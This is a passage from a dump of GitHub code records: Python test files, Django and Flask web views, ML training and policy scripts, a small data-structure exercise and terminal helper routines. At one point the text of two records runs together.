self.rp.register(\"Radojica\", \"szdfsdfsdf\", \"123\")\n result = self.rp.verify_invalid_error_messages()\n self.ts.mark(result, \"Registration with invalid credentials is not possible\")\n\n @pytest.mark.run(order=1)\n def test_empty_registration(self):\n self.rp.register(\"\", \"\", \"\")\n result = self.rp.verify_empty_error_messages()\n self.ts.mark(result, \"Registration with empty fields is not possible\")\n\n\n\n","repo_name":"dragosavac/Testing_Framework","sub_path":"tests/kindergifts/register_test.py","file_name":"register_test.py","file_ext":"py","file_size_in_byte":1505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"19439759250","text":"import pandas as pd\nimport numpy as np\n\nFOLDER_PATH = '../data/03_model_inputs'\n\nDEFAULT_I0 = float(\n pd.read_csv(f'{FOLDER_PATH}/I0_value.csv')\n .loc[:, ['I0_value']]\n .iloc[0]\n)\n\n\nLAMBDA_FITTED = float(\n pd.read_csv(f'{FOLDER_PATH}/lambda_fitted.csv')\n .loc[:, ['lambda_fitted']]\n .iloc[0]\n)\n\nDEFAULT_BETA = float(\n pd.read_csv(f'{FOLDER_PATH}/beta_value.csv')\n .loc[:, ['beta_median']]\n .iloc[0]\n)\n\nALL_BETAS = np.asarray(\n pd.read_csv(f'{FOLDER_PATH}/beta_sampled.csv').beta\n)\n\nFUNG_MUTATION_SCALE = float(\n pd.read_csv(f'{FOLDER_PATH}/mutation_scale.csv')\n .loc[:, ['mutation_scale']]\n .iloc[0]\n)\n\nHOST_MUTATION_SCALE = FUNG_MUTATION_SCALE\n\n# From Alexey paper:\nMUTATION_PROP = (0.5 * (28 + 130) * 1e6) / (0.5 * (2.3 + 10.5) * 1e12)\n\nDEFAULT_P = 0.1\n\nDEFAULT_MUT_SCALE_HOST = DEFAULT_P * HOST_MUTATION_SCALE\nDEFAULT_MUT_SCALE_FUNG = DEFAULT_P * FUNG_MUTATION_SCALE\n\nFUNG_DECAY_RATE = 0.5 * (6.91e-3 + 1.11e-2)\n# OLD OPTIONS:\n# FUNG_DECAY_RATE = 6.91e-3\n# FUNG_DECAY_RATE = 1e-2\n# FUNG_DECAY_RATE = 1.11e-2\n\n\nTRAIN_TEST_SPLIT_PROPORTION = 2/3\n# OLD OPTIONS:\n# TRAIN_TEST_SPLIT_PROPORTION = 0.75\n# TRAIN_TEST_SPLIT_PROPORTION = 0.8\n# TRAIN_TEST_SPLIT_PROPORTION = 1\n","repo_name":"nt409/quantitative-resistance","sub_path":"src/polymodel/consts.py","file_name":"consts.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"36958492013","text":"def flatten(items):\n for x in items:\n # 终止条件,检验是否为可迭代对象\n if hasattr(x,'__iter__') and not isinstance(x, (str, bytes)):\n #Python2写法\n # for sub_x in flatten(x):\n # yield sub_x\n #Python3写法\n yield from flatten(x)\n else:\n yield x\nle = list(flatten(list))","repo_name":"duguex/general_scripts_of_vasp","sub_path":"flatten.py","file_name":"flatten.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"34222331511","text":"from django.shortcuts import render, redirect, get_object_or_404\nfrom django.views.decorators.http import require_http_methods, require_safe, require_POST\nfrom django.contrib.auth.decorators import login_required\nfrom .models import Board, Comment\nfrom .forms import BoardForm, CommentForm\n\n\nclass BoardViews:\n @login_required\n @require_http_methods(['GET', 'POST'])\n def create(request):\n # 글쓰고 제출\n if request.method == 'POST':\n board_form = BoardForm(request.POST)\n if board_form.is_valid():\n board = board_form.save(commit=False)\n board.user = request.user\n board.save()\n return redirect('board:board_detail', board.pk)\n # html을 보여줌\n else:\n board_form = BoardForm()\n context = {\n 'form' : board_form, \n }\n return render(request, 'board/form.html', context)\n\n @require_safe\n def index(request):\n from django.db.models import Count\n # Article 테이블에 가상의 컬럼(annotate)를 만들며,\n # 컬럼 이름��� like_count고, like_users를 Count해서 채울 것이며, 이 가상의 컬럼을 기준으로 내림차순정렬하겠다.\n list = Board.objects.annotate(like_count=Count('like_users')).order_by('-like_count')\n context = {\n 'lists' : list,\n }\n return render(request, 'board/index.html', context)\n\n @require_safe\n def detail(request, board_pk):\n # board 상세페이지 Form\n board = get_object_or_404(Board, pk=board_pk)\n # comment Form\n form = CommentForm()\n # 좋아요 버튼 Flag\n is_like = board.like_users.filter(pk=request.user.pk).exists() \n # html에보낼 데이터 꾸러미\n context = {\n 'list' : board,\n 'form' : form,\n # 'comments' : board.comment_set.all(),\n 'is_like' : is_like,\n }\n return render(request, 'board/detail.html', context)\n\n @login_required\n @require_http_methods(['POST', 'GET'])\n def update(request, board_pk):\n board = get_object_or_404(Board, pk=board_pk)\n if request.method == 'POST':\n # 글수정\n board_form = BoardForm(request.POST, instance=board)\n if board_form.is_valid():\n if request.user != board.user:\n return redirect('board:board_index')\n board_form.save(commit=False)\n board_form.user = request.user\n board_form.save()\n next = request.GET.get('next')\n return redirect(next or 'board:board_detail', board.pk)\n else:\n # html 반환\n board_form = BoardForm(instance=board)\n context = {\n 'form' : board_form,\n }\n return render(request, 'board/form.html', context)\n\n @login_required\n @require_http_methods(['POST'])\n def delete(request, board_pk):\n board = get_object_or_404(Board, pk=board_pk)\n if request.user == board.user:\n board.delete()\n return redirect('board:board_index')\n\n @require_POST\n @login_required\n def like_board(request, board_pk):\n board = get_object_or_404(Board, pk=board_pk)\n request.user.like_boards.remove(board) if board.like_users.filter(pk=request.user.pk).exists() else request.user.like_boards.add(board)\n return redirect('board:board_detail', board_pk)\n\n\n\nclass CommentViews:\n @login_required\n @require_http_methods(['POST'])\n def create(request, board_pk):\n board = get_object_or_404(Board, pk=board_pk)\n comment_form = CommentForm(request.POST)\n if comment_form.is_valid():\n comment = comment_form.save(commit=False)\n comment.board = board\n comment.user = request.user\n comment.save()\n return redirect('board:board_detail', board.pk)\n\n @login_required \n @require_http_methods(['POST'])\n def delete(request, comment_pk, board_pk):\n comment = get_object_or_404(Comment, pk=comment_pk)\n board = get_object_or_404(Board, pk=board_pk)\n if request.user == comment.user:\n comment.delete()\n return redirect('board:board_detail', board.pk)\n \n def delete(request):\n pass\n","repo_name":"kimhyunso/exampleCode","sub_path":"django/ONE_TO_MANY/board/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4361,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"14948016080","text":"from flask import *\nimport json\nimport mysql.connector\nfrom mysql.connector import pooling\nfrom mysql.connector import Error\nimport os\nfrom dotenv import load_dotenv\n\nattractions_api = Blueprint('attractions_api',__name__)\nload_dotenv()\n\n#資料庫參數設定\nconnection_pool = mysql.connector.pooling.MySQLConnectionPool(\n pool_name = os.getenv('db_pool_name'),\n pool_size = int(os.getenv('db_pool_size')),\n host = os.getenv('db_host'),\n pool_reset_session=True,\n user = os.getenv('db_user'),\n password = os.getenv('db_password'),\n database = os.getenv('db_name')\n)\n\n\n@attractions_api.route(\"/api/attractions\")\ndef attractions():\n\ttry:\n\t\tmydb = connection_pool.get_connection()\n\t\tmycursor = mydb.cursor(buffered=True)\n\t\tpage = int(request.args.get(\"page\"))\n\t\tkeyword = request.args.get(\"keyword\")\n\n\n\t\tif keyword!=None:#有輸入關鍵字\n\t\t\tpageNum=page*12\n\t\t\tmycursor.execute(\"SELECT * FROM attractions_data WHERE name LIKE %s limit 12 offset %s \",(\"%\"+keyword+\"%\",pageNum,))#忘記看這邊 https://stackoverflow.com/questions/24072084/like-in-mysql-connector-python\n\t\t\tcheck_count = mycursor.fetchall()\n\n\t\t\tmycursor.execute(\"SELECT * FROM attractions_data WHERE name LIKE %s \",(\"%\"+keyword+\"%\",))#忘記看這邊 https://stackoverflow.com/questions/24072084/like-in-mysql-connector-python\n\t\t\tcheck_name = mycursor.fetchall()\n\n\t\t\n\t\t\tcount=len(check_name)//12\n\t\t\tif page self.dim):\n state = state[:,:]\n state = state[:, 0:self.dim]\n\n state = state.reshape((-1,self.dim,1,1))\n action, _= self.model.predict(state)\n\n return action\n\n\n def predict_proba(self, state, time_step=None):\n if len(state.shape) == 1:\n state = state.reshape(1, -1)\n if (state.shape[1] > self.dim):\n state = state[:,:]\n state = state[:, 0:self.dim]\n\n state = state.reshape((-1,self.dim,1,1))\n action_probs = self.model.action_probability(state)\n return action_probs\n\n\nclass HIVPolicy():\n def __init__(self, eps_behavior=0):\n self.eval_env = FittedQIteration(perturb_rate=0.05,\n preset_params=preset_hidden_params[config.ins],\n gamma=config.gamma,\n ins=config.ins,\n episode_length=config.max_length)\n self.eval_env.tree = joblib.load('domains/HIV/hiv_domain/hiv_domain_extra_tree_gamma_ins20.pkl')\n\n self.eps_behavior = eps_behavior\n\n def __call__(self, state, time_step=None):\n if len(state.shape) == 1:\n state = state.reshape(1, -1)\n\n # print(state.shape)\n if isinstance(state,np.ndarray)==False:\n state = state.detach().numpy()\n if state.shape[0] == 1:\n action, _= self.eval_env.policy(state, eps=self.eps_behavior)\n else:\n action, _= self.eval_env.policy(state, eps=self.eps_behavior)\n\n return action\n\n\n def predict_proba(self, state, time_step=None):\n if len(state.shape) == 1:\n state = state.reshape(1, -1)\n\n # print(state.shape)\n if state.shape[0] == 1:\n action, prob= self.eval_env.policy(state, eps=self.eps_behavior)\n else:\n action, prob = self.eval_env.policy(state, eps=self.eps_behavior)\n return prob\n\n\n\n\n","repo_name":"elitalobo/DOPE","sub_path":"src/policies.py","file_name":"policies.py","file_ext":"py","file_size_in_byte":9392,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"19982082142","text":"class No:\n def __init__(self, valor):\n self.valor = valor\n self.ant = None\n\nclass Album:\n def __init__(self, nome, ano):\n self.ano = ano\n self.nome = nome\n\n def __str__(self):\n return f\"{self.nome}({self.ano})\"\n \nclass Pilha:\n def __init__(self):\n self.inicio = None\n \n def push(self, i):\n novo_no = No(i)\n novo_no.ant = self.inicio\n self.inicio = novo_no\n\n def pop(self):\n if self.inicio != None:\n i = self.inicio.valor\n self.inicio = self.inicio.ant\n return i\n\n def top(self):\n i = self.pop()\n self.push(i)\n return i\n\nestante = Pilha()\n\ndef inserirVinil():\n name = input('Nome do Disco - ')\n while True:\n ano = int(input('Ano do disco - '))\n if len(str(ano)) != 4:\n print('Ano invalido')\n input('Pressione Enter para continuar.')\n else:\n break\n \n print('--------------------------------------------')\n album = Album(name, ano)\n estanteAux = Pilha()\n while estante.top() != None:\n if ano > estante.top().ano :\n estanteAux.push(estante.pop())\n else:\n break\n estante.push(album)\n while estanteAux.top() != None:\n estante.push(estanteAux.pop())\n print(estante.top())\n print('--------------------------------------------')\n print(\"Album adicionado com sucesso.\")\n input('Precione Enter para continuar.')\n print('--------------------------------------------')\n menu_inserir()\n\ndef ver_estante():\n estanteAux = Pilha()\n while estante.top() != None:\n disco = estante.pop()\n estanteAux.push(disco)\n print(disco)\n return\n \ndef menu_principal():\n print('--------MENU PRINCIPAL--------')\n print('1 - Inserir Album')\n print('--------------------------------------------')\n print('2 - Ver Estante')\n print('--------------------------------------------')\n print('0 - Sair')\n print('--------------------------------------------')\n\ndef iniciarEstante():\n menu_principal()\n op = input('DIGITE A OPÇÃO //> ')\n print('--------------------------------------------')\n if op == '0':\n print('Saindo do Menu')\n return\n if op == '1':\n inserirVinil()\n elif op == '2':\n ver_estante()\n else:\n print('--------------------------------------------')\n input('Essa opção não existe, tente novamente.')\n\ndef menu_inserir():\n print('[1] Adicionar Album - ')\n print('[0] Voltar - ')\n print('--------------------------------------------')\n op = input('Digite a opção - ')\n if op == '1':\n inserirVinil()\n if op == '0':\n iniciarEstante()\n else:\n ('Opcao nao existente, tente novamente')\n return\n\niniciarEstante()","repo_name":"matheusgmc/exercicios-aleatorios","sub_path":"python/feky.py","file_name":"feky.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"39267160138","text":"import time\nfrom pytest import mark\nfrom Applications.test_create_applications.create_app import create_apps\nfrom xpath.Application_module_xpath import *\nfrom spinner.spinner import *\nfrom Applications.test_delete_application.delete_app import *\n\napp_labels = [app_name_label, app_url_label, app_platform_label, app_team_label, app_hard_mark_false_postive_label, app_BT_label, app_BT_project_label, dashboard, open_vulnerability, closed_vulnerability, uncategorized_vulnerability, false_positive, action_dropdown]\nits_texts = [\"Application\", \"URL\", \"Platform\", \"Team\", \"Hard Mark False Positive\", \"Bug Tracker\", \"Bug Tracker Project\", \"Dashboard\", \"Opened\", \"Closed\", \"Uncategorized\", \"False Positive\", \"Actions\"]\naction_dropdown_texts = \"Update\\nUpload Results\\nManual Entry\\nView Scans\\nBulk Actions\\nCopy Webhook\\nShow Webhook\\nBug Tracker\\nEnable Hard Mark False Positive\\nView Report\\nVulnerability Profile\\nDelete\"\n\n\n@mark.app_ui_basic_details\nclass CheckBasicDetailsOfApplicationDashboardTests:\n \"\"\"\n > checks for basic things on UI when application is created\n > checks if 'Action' dropdown has all options\n > checks if application has all section like \"Dashboard\", \"opened\", \"closed\", \"Pagination\" etc\n \"\"\"\n def test_if_application_has_all_features_and_options(self, driver):\n wait = WebDriverWait(driver, 20, poll_frequency=3, ignored_exceptions=[\n NoSuchElementException, ElementNotVisibleException, TimeoutException, ElementClickInterceptedException])\n\n create_apps(driver, application_name=\"All options\", url=\"https://demo.com\")\n\n click_on_individual_app = wait.until(EC.element_to_be_clickable((By.XPATH, \"//label[contains(text(), 'All options')]\")))\n click_on_individual_app.click()\n\n # checks for pagination feature visibility on 'List of Application' section\n stop_till_spinner_is_invisible(driver)\n wait.until(EC.presence_of_element_located((By.XPATH, \"//ul[@aria-label='Pagination']\")))\n wait.until(EC.presence_of_element_located((By.XPATH, \"//input[@placeholder='Search']\")))\n\n # check if Application has all the required details and options.\n stop_till_spinner_is_invisible(driver)\n for (app_label, its_text) in zip(app_labels, its_texts):\n application_details = wait.until(EC.presence_of_element_located((By.XPATH, app_label)))\n assert application_details.text == its_text\n\n click_on_action_dropdown = wait.until(EC.element_to_be_clickable((By.XPATH, action_dropdown)))\n click_on_action_dropdown.click()\n\n action_dropdown_option = wait.until(EC.presence_of_element_located((By.XPATH, \"//ul[@x-placement]\")))\n assert action_dropdown_option.text == action_dropdown_texts\n\n def test_if_all_section_are_visible_on_dashboard(self, driver):\n wait = WebDriverWait(driver, 20, poll_frequency=2, ignored_exceptions=[\n NoSuchElementException, ElementNotVisibleException, TimeoutException, ElementClickInterceptedException])\n\n click_on_individual_app = wait.until(EC.element_to_be_clickable((By.XPATH, \"//label[contains(text(), 'All options')]\")))\n click_on_individual_app.click()\n\n stop_till_spinner_is_invisible(driver)\n open_section = wait.until(EC.presence_of_element_located((By.XPATH, \"//span[.='Open']\")))\n assert open_section.text == \"Open\"\n\n close_section = wait.until(EC.presence_of_element_located((By.XPATH, \"//span[.='Closed']\")))\n assert close_section.text == \"Closed\"\n\n uncat_section = wait.until(EC.presence_of_element_located((By.XPATH, \"//span[.='Uncategorized']\")))\n assert uncat_section.text == \"Uncategorized\"\n\n avg_days = wait.until(EC.presence_of_element_located((By.XPATH, \"//span[.='Average Days']\")))\n assert avg_days.text == \"Average Days\"\n\n list_of_app_tag = wait.until(EC.presence_of_element_located((By.XPATH, \"//p[.=' List of Applications ']\")))\n assert list_of_app_tag.text == \"List of Applications\"\n\n # checks if the vulnerability count == zero after application is created\n for vul_count in range(1, 5):\n assert wait.until(EC.presence_of_element_located((By.XPATH, \"//div[@class='none_spacing col-sm-3 col-md-3 col-lg-3 col-3'][\"+str(vul_count)+\"]//span[2]\"))).text == \"0\"\n\n # checks if 'Severity chart' vul count == zero after application is created\n for sev_vul_count in range(1, 5):\n assert wait.until(EC.presence_of_element_located((By.XPATH, \"//div[@xs='3']/div[\"+str(sev_vul_count)+\"]//span\"))).text == \"0\"\n\n def test_delete_above_app(self, driver):\n delete_app(driver, application_xpath=\"//label[contains(text(), 'All options')]\")\n","repo_name":"Chandrashekargit/git_orchy","sub_path":"Orchestron_pytest/Applications/test_application_basic_details_and_features_on_UI/test_application_basic_details_on_dashboard.py","file_name":"test_application_basic_details_on_dashboard.py","file_ext":"py","file_size_in_byte":4723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"24318163018","text":"import numpy as np\nimport tensorflow as tf\nfrom Model.tgcn import TGCN\nfrom Data_PreProcess import data_preprocess\nfrom Data_PreProcess.data_preprocess import processing_data\nfrom Evaluation.metrics import metrics\nfrom Evaluation.evaluation import eval\ntf.compat.v1.disable_eager_execution()\n\ndef train(config):\n model_name = \"ast-gcn\"\n \n noise_name = config['noise_name']['default']\n data_name = config['dataset']['default']\n train_rate = config['train_rate']['default']\n seq_len = config['seq_len']['default']\n pre_len = config['pre_len']['default']\n batch_size = config['batch_size']['default']\n lr = config['learning_rate']['default']\n training_epoch = config['training_epoch']['default']\n gru_units = config['gru_units']['default']\n scheme = config['scheme']['default']\n PG = config['noise_param']['default']\n lambda_loss = config['lambda_loss']['default']\n if scheme == 1:\n name = 'add poi dim'\n elif scheme == 2:\n name = 'add weather dim'\n else:\n name = 'add poi + weather dim'\n\n print(\"Starting the data pre_processing with noise & normalization on AST-GCN Model. :)\")\n # Apply noise & normalization to dataset\n data = data_preprocess.data_preprocess(config)\n # After adding noise to the data, time_len and num_nodes are calculated based on the shape of the data. \n # Finally, data1 is created as a NumPy matrix with dtype=np.float32.\n time_len = data.shape[0]\n num_nodes = data.shape[1]\n data1 =np.mat(data,dtype=np.float32)\n\n #### normalization\n max_value = np.max(data1)\n data1 = data1/max_value\n data1.columns = data.columns\n print(\"Finished the data pre_processing for AST-GCN model.\")\n\n print(\"Starting the data splitting & processing for AST-GCN model. :)\")\n print('model:', model_name)\n print('scheme:', name)\n print('noise_name:', noise_name)\n print('noise_param:', PG)\n\n trainX, trainY, testX, testY = processing_data(data1, time_len, train_rate, seq_len, pre_len, model_name, scheme)\n totalbatch = int(trainX.shape[0]/batch_size)\n print(\"The size of dataset is: \", str(batch_size))\n # training_data_count = len(trainX)\n print(\"Finished the data splitting & processing for AST-GCN model. :)\")\n\n print(\"****************** Initializing model and starting training loop over data for AST-GCN model:) ********************************\")\n # Define input tensors for the AST-GCN model based on model_name and scheme\n # Check scheme for combining additional data with input data\n if scheme == 1:\n # Input tensor shape: [seq_len+1, num_nodes]\n inputs = tf.keras.Input(shape=[seq_len+1, num_nodes], dtype=tf.float32)\n elif scheme == 2:\n # Input tensor shape: [seq_len*2+pre_len, num_nodes]\n inputs = tf.keras.Input(shape=[seq_len*2+pre_len, num_nodes], dtype=tf.float32)\n else:\n # Input tensor shape: [seq_len*2+pre_len+1, num_nodes]\n inputs = tf.keras.Input(shape=[seq_len*2+pre_len+1, num_nodes], dtype=tf.float32)\n \n # Define input tensor for labels\n labels = tf.keras.Input(shape=[pre_len, num_nodes], dtype=tf.float32)\n \n \n ############ Graph weights defined ############\n # The weights are defined as a dictionary named 'weights', where the key 'out' maps to a TensorFlow Variable representing the \n # weight matrix that will be applied to the output of the TGCN model. \n # The weight matrix has a shape of [gru_units, pre_len], where 'gru_units' is the number of GRU units in the TGCN cell \n # and 'pre_len' is the number of time steps to predict into the future. \n # The values in the weight matrix are randomly initialized from a normal distribution with mean=1.0.\n weights = {\n 'out': tf.Variable(tf.random.normal([gru_units, pre_len], mean=1.0), name='weight_o')}\n biases = {\n 'out': tf.Variable(tf.random.normal([pre_len]),name='bias_o')}\n\n #The TGCN model is then called with the inputs, weights, and biases as arguments, \n # and the output of the model is stored in the variable 'pred'. \n # Finally, the predicted values are stored in 'y_pred', which will be used for training and evaluation of the model.\n pred,ttts,ttto = TGCN(inputs, weights, biases, config)\n y_pred = pred\n \n ########### optimizer used to train the model ############\n #Lreg is the L2 regularization term, which is computed as the sum of the L2 norms of all the trainable variables \n #in the model multiplied by the lambda_loss hyperparameter.\n Lreg = lambda_loss * sum(tf.compat.v1.nn.l2_loss(tf_var) for tf_var in tf.compat.v1.trainable_variables())\n # labels is the ground truth data.\n label = tf.compat.v1.reshape(labels, [-1,num_nodes])\n # loss is the mean squared error loss between y_pred and labels, with an added regularization term.\n print('y_pred_shape:', y_pred.shape)\n print('label_shape:', label.shape)\n loss = tf.compat.v1.reduce_mean(tf.compat.v1.nn.l2_loss(y_pred-label) + Lreg)\n ##rmse -> is the root mean squared error between y_pred and labels.\n error = tf.compat.v1.sqrt(tf.compat.v1.reduce_mean(tf.compat.v1.square(y_pred-label)))\n # optimizer is the Adam optimizer, which is used to minimize the loss function during training. \n # The learning rate used by the optimizer is specified by the lr variable.\n optimizer = tf.compat.v1.train.AdamOptimizer(lr).minimize(loss)\n \n ###### Initialize session ######\n ## initializes a TensorFlow session with GPU options set, and then initializes \n # the global variables in the graph. It also creates a Saver object for saving and restoring the model variables.\n variables = tf.compat.v1.global_variables()\n saver = tf.compat.v1.train.Saver(tf.compat.v1.global_variables()) \n #sess = tf.Session()\n gpu_options = tf.compat.v1.GPUOptions(per_process_gpu_memory_fraction=0.333)\n sess = tf.compat.v1.Session(config=tf.compat.v1.ConfigProto(gpu_options=gpu_options))\n sess.run(tf.compat.v1.global_variables_initializer())\n \n # # It then creates a path to save the model using various parameters and creates the directory if it doesn't exist.\n # out = 'out/%s_%s'%(model_name,noise_name)\n # path1 = '%s_%s_%s_lr%r_batch%r_unit%r_seq%r_pre%r_epoch%r_scheme%r_PG%r'%(model_name,name,data_name,lr,batch_size,gru_units,seq_len,pre_len,training_epoch,scheme,PG)\n # path = os.path.join(out,path1)\n # if not os.path.exists(path):\n # os.makedirs(path)\n \n # Initialising all the variables\n x_axe,batch_loss,batch_rmse,batch_pred = [], [], [], []\n test_loss,test_rmse,test_mae,test_mape,test_smape,test_acc,test_r2,test_var,test_pred = [],[],[],[],[],[],[],[],[] \n \n ################### Training loop of the model. ####################\n # The loop iterates over the specified number of epochs and in each epoch, \n # the training set is split into mini-batches and fed to the model for training.\n \n for epoch in range(training_epoch): #initially 2\n # The optimizer is run on each mini-batch, and the loss and error metrics are calculated. \n # The test set is evaluated completely at every epoch, and the loss and error metrics are calculated. \n for m in range(totalbatch):\n mini_batch = trainX[m * batch_size : (m+1) * batch_size]\n mini_label = trainY[m * batch_size : (m+1) * batch_size]\n _, loss1, rmse1, train_output = sess.run([optimizer, loss, error, y_pred],\n feed_dict = {inputs:mini_batch, labels:mini_label})\n batch_loss.append(loss1)\n batch_rmse.append(rmse1 * max_value)\n\n # Test completely at every epoch\n loss2, rmse2, test_output = sess.run([loss, error, y_pred],\n feed_dict = {inputs:testX, labels:testY})\n\n # The evaluation metrics such as RMSE, MAE, MAPE, and SMAPE are calculated on the test set, and the results are stored. \n testoutput = np.abs(test_output)\n test_label = np.reshape(testY,[-1,num_nodes])\n rmse, mae,mape,smape, acc, r2_score, var_score = metrics(test_label, testoutput)\n test_label1 = test_label * max_value\n test_output1 = testoutput * max_value\n test_loss.append(loss2)\n test_rmse.append(rmse * max_value)\n test_mae.append(mae * max_value)\n test_mape.append(mape * max_value)\n test_mape.append(smape * max_value)\n test_acc.append(acc)\n test_r2.append(r2_score)\n test_var.append(var_score)\n test_pred.append(test_output1)\n \n # The training and testing progress is printed after every epoch. \n print('Iter:{}'.format(epoch),\n 'train_rmse:{:.4}'.format(batch_rmse[-1]),\n 'test_loss:{:.4}'.format(loss2),\n 'test_rmse:{:.4}'.format(rmse),\n 'test_mae:{:.4}'.format(mae),\n 'test_mape:{:.4}'.format(mape),\n 'test_smape:{:.4}'.format(smape),\n 'test_acc:{:.4}'.format(acc))\n # # The model is also saved every 500 epochs - reduced to 10 for now\n # if (epoch % 10 == 0): \n # saver.save(sess, path+'/model_100/ASTGCN_pre_%r'%epoch, global_step = epoch)\n print(\"****************** Finished training loop over data for AST-GCN model:) ********************************\")\n \n print(\"****************** Starting evaluation for AST-GCN model:) ********************************\")\n # eval(batch_rmse, totalbatch, batch_loss , test_rmse, test_pred, path, \n # test_acc, test_mae, test_mape, test_smape,\n # test_r2, test_var, test_label1\n # )\n print(\"****************** Finished evaluation for AST-GCN model :) ********************************\")","repo_name":"dennisdeneve/AST-GCN","sub_path":"Xtras/oldPrograms/train_AST_GCN.py","file_name":"train_AST_GCN.py","file_ext":"py","file_size_in_byte":9784,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"36"} +{"seq_id":"32793898407","text":"import torch\nfrom conf import device, dataset_path\n\n\ndef _read_vocab(file):\n chr2idx = {}\n with open(file, 'r') as f:\n cs = list(set(f.read()))\n cs.append('')\n for ch in cs:\n chr2idx[ch] = len(chr2idx)\n idx2chr = dict([(v, k) for k, v in chr2idx.items()])\n return chr2idx, idx2chr\n\n\nchar2index, index2char = _read_vocab(dataset_path)\n\nvocab_size = len(char2index)\nEOS = vocab_size - 1\n\n\ndef indexes_from_sentence(sentence, append_eos=True):\n indexes = [char2index[c] for c in sentence]\n if append_eos:\n indexes.append(EOS)\n return torch.tensor(indexes, dtype=torch.long, device=device)\n\n\ndef encoder_sentence(sentence):\n vec = torch.zeros(vocab_size, dtype=torch.float)\n for c in sentence:\n vec[char2index[c]] = 1.0\n return vec\n","repo_name":"junix/gen_poem","sub_path":"dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"36"} +{"seq_id":"15113144485","text":"\"\"\"Console helper routines\n\"\"\"\n\nfrom os import getenv, isatty, read as readfd\nfrom atexit import register\nfrom sys import platform, stdin, stdout\nfrom time import sleep, time as now\nfrom .misc import EasyDict\n\n#pylint: disable-msg=import-error\n#pylint: disable-msg=global-statement\n#pylint: disable-msg=invalid-name\n\n\nif platform == 'win32':\n from msvcrt import getch, kbhit\nelif platform in ('darwin', 'linux'):\n from select import select\n from termios import (tcgetattr, tcsetattr, ICANON, ECHO, TCSAFLUSH,\n TCSANOW, VMIN, VTIME, VINTR, VSUSP)\n\n\n_STATIC_VARS = EasyDict(init=False, term=stdout.isatty())\n\n\ndef cleanup_console():\n global _STATIC_VARS\n if 'term_config' in _STATIC_VARS:\n fd, old = _STATIC_VARS['term_config']\n tcsetattr(fd, TCSAFLUSH, old)\n _STATIC_VARS.init = False\n\n\ndef _init_term(fullterm):\n \"\"\"Internal terminal initialization function\"\"\"\n if platform == 'win32':\n return True\n elif platform in ('darwin', 'linux'):\n global _STATIC_VARS\n fd = stdin.fileno()\n if not isatty(fd):\n return\n old = tcgetattr(fd)\n _STATIC_VARS.term_config = (fd, old)\n new = tcgetattr(fd)\n new[3] = new[3] & ~ICANON & ~ECHO\n new[6][VMIN] = 1\n new[6][VTIME] = 0\n if fullterm:\n new[6][VINTR] = 0\n new[6][VSUSP] = 0\n tcsetattr(fd, TCSANOW, new)\n # terminal modes have to be restored on exit...\n register(cleanup_console)\n return True\n else:\n return True\n\n\ndef getkey(fullterm=False, timeout=None):\n \"\"\"Return a key from the current console, in a platform independent way\n\n :param fullterm: Ctrl+C is not handled as an interrupt signal\n :param timeout: how long to wait for a char (wait forever if None)\n \"\"\"\n # there's probably a better way to initialize the module without\n # relying onto a singleton pattern. To be fixed\n global _STATIC_VARS\n if not _STATIC_VARS.init:\n _STATIC_VARS.init = _init_term(fullterm)\n if timeout:\n expire = now() + timeout\n else:\n expire = False\n if platform == 'win32':\n while not expire or now() < expire:\n if not kbhit():\n sleep(0.1)\n continue\n inz = getch()\n if inz == '\\3' and not fullterm:\n raise KeyboardInterrupt('Ctrl-C break')\n if inz == '\\0':\n getch()\n else:\n if inz == '\\r':\n return '\\n'\n return inz\n elif platform in ('darwin', 'linux'):\n sinfd = stdin.fileno()\n while not expire or now() < expire:\n ready = select([sinfd], [], [], 0.1)[0]\n if ready:\n inc = readfd(sinfd, 1)\n return inc\n else:\n # unsupported OS, ignore\n sleep(0.25)\n return None\n\n\ndef is_term():\n \"\"\"Tells whether the current stdout/stderr stream are connected to a\n terminal (vs. a regular file or pipe)\"\"\"\n global _STATIC_VARS\n return _STATIC_VARS.term\n\n\ndef is_colorterm():\n \"\"\"Tells whether the current terminal (if any) support colors escape\n sequences\"\"\"\n global _STATIC_VARS\n if 'colorterm' not in _STATIC_VARS:\n terms = ['ansi', 'xterm-color', 'xterm-256color', 'screen']\n _STATIC_VARS.colorterm = _STATIC_VARS.term and \\\n getenv('TERM') in terms\n return _STATIC_VARS.colorterm\n\n\ndef get_term_colors():\n \"\"\"Reports the number of colors supported with the current terminal\"\"\"\n term = getenv('TERM')\n if not is_term() or not term:\n return 1\n if term in ('xterm-color', 'ansi', 'screen'):\n return 16\n if term in ('xterm-256color'):\n return 256\n return 1\n\n\ndef charset():\n \"\"\"Reports the current terminal charset\"\"\"\n global _STATIC_VARS\n if 'charset' not in _STATIC_VARS:\n lang = getenv('LC_ALL')\n if not lang:\n lang = getenv('LANG')\n if lang:\n _STATIC_VARS.charset = \\\n lang.rsplit('.', 1)[-1].replace('-', '').lower()\n else:\n _STATIC_VARS.charset = ''\n return _STATIC_VARS.charset\n\n\nCSI = '\\x1b['\nEND = 'm'\nBACKGROUND_COLOR = 9\nRV_FORMAT = '%s%%2d%%2d%s' % (CSI, END)\nFG_FORMAT = '%s38;5;%%d%s' % (CSI, END)\nBG_FORMAT = '%s48;5;%%d%s' % (CSI, END)\nDF_FORMAT = '%s%02d%s' % (CSI, 40 + BACKGROUND_COLOR, END)\n\n\ndef _make_term_color(fg, bg, bold=False, reverse=False):\n \"\"\"Emit the ANSI escape string to change the current color\"\"\"\n return '%s%02d;%02d;%02d;%02d%s' % \\\n (CSI, bold and 1 or 